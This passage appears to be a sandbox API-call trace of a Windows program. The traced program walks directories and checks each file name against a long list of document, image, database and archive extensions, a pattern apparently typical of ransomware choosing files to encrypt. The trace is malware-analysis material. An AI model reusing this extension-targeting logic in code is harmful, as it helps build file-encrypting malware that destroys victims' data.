(lpString=".raf") returned 4 [0100.221] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".rar") returned 4 [0100.221] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.221] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.222] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.222] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.222] FindClose (in: hFindFile=0x3e50380 | out: hFindFile=0x3e50380) returned 1 [0100.222] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.222] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0100.222] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26 [0100.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50080 [0100.224] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.224] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.224] lstrlenW (lpString="eula.rtf") returned 8 [0100.224] lstrlenW (lpString=".1cd") returned 4 [0100.224] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.224] lstrlenW (lpString=".3ds") returned 4 [0100.224] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.224] lstrlenW (lpString=".3fr") returned 4 [0100.224] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.224] lstrlenW (lpString=".3g2") returned 4 [0100.224] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.224] lstrlenW (lpString=".3gp") returned 4 [0100.224] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.224] lstrlenW (lpString=".7z") returned 3 [0100.224] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.224] lstrlenW (lpString=".accda") returned 6 [0100.224] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.224] lstrlenW (lpString=".accdb") returned 6 [0100.224] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.224] lstrlenW (lpString=".accdc") returned 6 [0100.224] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.224] lstrlenW (lpString=".accde") returned 6 [0100.224] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.224] lstrlenW (lpString=".accdt") returned 6 [0100.225] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.225] lstrlenW (lpString=".accdw") returned 6 [0100.225] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.225] lstrlenW (lpString=".adb") returned 4 [0100.225] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".adp") returned 4 [0100.225] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai") returned 3 [0100.225] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.225] lstrlenW (lpString=".ai3") returned 4 [0100.225] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai4") returned 4 [0100.225] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai5") returned 4 [0100.225] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai6") returned 4 [0100.225] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai7") returned 4 [0100.225] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".ai8") returned 4 [0100.225] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".anim") returned 5 [0100.225] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.225] lstrlenW (lpString=".arw") returned 4 [0100.225] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.225] lstrlenW (lpString=".as") returned 3 [0100.225] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.226] lstrlenW (lpString=".asa") returned 4 [0100.226] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".asc") returned 4 [0100.226] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".ascx") returned 5 [0100.226] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.226] lstrlenW (lpString=".asm") returned 4 [0100.226] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".asmx") returned 5 [0100.226] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.226] lstrlenW (lpString=".asp") returned 4 [0100.226] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".aspx") returned 5 [0100.226] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.226] lstrlenW (lpString=".asr") returned 4 [0100.226] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".asx") returned 4 [0100.226] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".avi") returned 4 [0100.226] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".avs") returned 4 [0100.226] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".backup") returned 7 [0100.226] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.226] lstrlenW (lpString=".bak") returned 4 [0100.226] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.226] lstrlenW (lpString=".bay") returned 4 [0100.227] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".bd") returned 3 [0100.227] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.227] lstrlenW (lpString=".bin") returned 4 [0100.227] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".bmp") returned 4 [0100.227] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".bz2") returned 4 [0100.227] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".c") returned 2 [0100.227] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.227] lstrlenW (lpString=".cdr") returned 4 [0100.227] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".cer") returned 4 [0100.227] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".cf") returned 3 [0100.227] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.227] lstrlenW (lpString=".cfc") returned 4 [0100.227] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".cfm") returned 4 [0100.227] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".cfml") returned 5 [0100.227] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.227] lstrlenW (lpString=".cfu") returned 4 [0100.227] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.227] lstrlenW (lpString=".chm") returned 4 [0100.227] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".cin") returned 4 [0100.228] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".class") returned 6 [0100.228] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.228] lstrlenW (lpString=".clx") returned 4 [0100.228] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".config") returned 7 [0100.228] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.228] lstrlenW (lpString=".cpp") returned 4 [0100.228] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".cr2") returned 4 [0100.228] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".crt") returned 4 [0100.228] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".crw") returned 4 [0100.228] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.228] lstrlenW (lpString=".cs") returned 3 [0100.228] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.229] lstrlenW (lpString=".css") returned 4 [0100.229] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".csv") returned 4 [0100.229] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".cub") returned 4 [0100.229] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dae") returned 4 [0100.229] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dat") returned 4 [0100.229] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".db") returned 3 [0100.229] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.229] lstrlenW (lpString=".dbf") returned 4 [0100.229] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dbx") returned 4 [0100.229] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dc3") returned 4 [0100.229] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dcm") returned 4 [0100.229] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dcr") returned 4 [0100.229] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".der") returned 4 [0100.229] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dib") returned 4 [0100.229] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.229] lstrlenW (lpString=".dic") returned 4 [0100.230] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".dif") returned 4 [0100.230] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".divx") returned 5 [0100.230] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".djvu") returned 5 [0100.230] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".dng") returned 4 [0100.230] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".doc") returned 4 [0100.230] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".docm") returned 5 [0100.230] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".docx") returned 5 [0100.230] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".dot") returned 4 [0100.230] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".dotm") returned 5 [0100.230] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".dotx") returned 5 [0100.230] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.230] lstrlenW (lpString=".dpx") returned 4 [0100.230] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".dqy") returned 4 [0100.230] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.230] lstrlenW (lpString=".dsn") returned 4 [0100.230] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".dt") returned 3 [0100.231] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.231] lstrlenW (lpString=".dtd") returned 4 [0100.231] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".dwg") returned 4 [0100.231] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".dwt") returned 4 [0100.231] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".dx") returned 3 [0100.231] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.231] lstrlenW (lpString=".dxf") returned 4 [0100.231] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".edml") returned 5 [0100.231] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.231] lstrlenW (lpString=".efd") returned 4 [0100.231] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".elf") returned 4 [0100.231] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".emf") returned 4 [0100.231] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".emz") returned 4 [0100.231] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".epf") returned 4 [0100.231] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".eps") returned 4 [0100.231] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.231] lstrlenW (lpString=".epsf") returned 5 [0100.232] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.232] lstrlenW (lpString=".epsp") returned 5 [0100.232] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.232] lstrlenW (lpString=".erf") returned 4 [0100.232] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".exr") returned 4 [0100.232] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".f4v") returned 4 [0100.232] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".fido") returned 5 [0100.232] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.232] lstrlenW (lpString=".flm") returned 4 [0100.232] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".flv") returned 4 [0100.232] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".frm") returned 4 [0100.232] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".fxg") returned 4 [0100.232] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".geo") returned 4 [0100.232] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".gif") returned 4 [0100.232] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".grs") returned 4 [0100.232] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.232] lstrlenW (lpString=".gz") returned 3 [0100.232] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.233] lstrlenW (lpString=".h") returned 2 [0100.233] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.233] lstrlenW (lpString=".hdr") returned 4 [0100.233] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".hpp") returned 4 [0100.233] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".hta") returned 4 [0100.233] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".htc") returned 4 [0100.233] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".htm") returned 4 [0100.233] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".html") returned 5 [0100.233] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.233] lstrlenW (lpString=".icb") returned 4 [0100.233] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".ics") returned 4 [0100.233] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".iff") returned 4 [0100.233] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".inc") returned 4 [0100.233] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".indd") returned 5 [0100.233] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.233] lstrlenW (lpString=".ini") returned 4 [0100.233] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.233] lstrlenW (lpString=".iqy") returned 4 [0100.234] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".j2c") returned 4 [0100.234] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".j2k") returned 4 [0100.234] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".java") returned 5 [0100.234] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.234] lstrlenW (lpString=".jp2") returned 4 [0100.234] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".jpc") returned 4 [0100.234] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".jpe") returned 4 [0100.234] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".jpeg") returned 5 [0100.234] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.234] lstrlenW (lpString=".jpf") returned 4 [0100.234] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".jpg") returned 4 [0100.234] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".jpx") returned 4 [0100.234] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".js") returned 3 [0100.234] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.234] lstrlenW (lpString=".jsf") returned 4 [0100.234] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.234] lstrlenW (lpString=".json") returned 5 [0100.234] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.234] lstrlenW (lpString=".jsp") returned 4 [0100.235] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".kdc") returned 4 [0100.235] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".kmz") returned 4 [0100.235] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".kwm") returned 4 [0100.235] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".lasso") returned 6 [0100.235] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.235] lstrlenW (lpString=".lbi") returned 4 [0100.235] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".lgf") returned 4 [0100.235] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".lgp") returned 4 [0100.235] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".log") returned 4 [0100.235] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".m1v") returned 4 [0100.235] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".m4a") returned 4 [0100.235] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".m4v") returned 4 [0100.235] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".max") returned 4 [0100.235] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.235] lstrlenW (lpString=".md") returned 3 [0100.235] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.236] lstrlenW (lpString=".mda") returned 4 [0100.236] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mdb") returned 4 [0100.236] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mde") returned 4 [0100.236] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mdf") returned 4 [0100.236] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mdw") returned 4 [0100.236] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mef") returned 4 [0100.236] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mft") returned 4 [0100.236] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mfw") returned 4 [0100.236] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mht") returned 4 [0100.236] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mhtml") returned 6 [0100.236] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.236] lstrlenW (lpString=".mka") returned 4 [0100.236] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mkidx") returned 6 [0100.236] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.236] lstrlenW (lpString=".mkv") returned 4 [0100.236] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.236] lstrlenW (lpString=".mos") returned 4 [0100.237] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mov") returned 4 [0100.237] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mp3") returned 4 [0100.237] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mp4") returned 4 [0100.237] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mpeg") returned 5 [0100.237] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.237] lstrlenW (lpString=".mpg") returned 4 [0100.237] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mpv") returned 4 [0100.237] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mrw") returned 4 [0100.237] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".msg") returned 4 [0100.237] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".mxl") returned 4 [0100.237] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".myd") returned 4 [0100.237] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".myi") returned 4 [0100.237] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".nef") returned 4 [0100.237] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".nrw") returned 4 [0100.237] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.237] lstrlenW (lpString=".obj") returned 4 [0100.238] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".odb") returned 4 [0100.238] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".odc") returned 4 [0100.238] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".odm") returned 4 [0100.238] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".odp") returned 4 [0100.238] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".ods") returned 4 [0100.238] lstrcmpiW (lpString1=".ods", 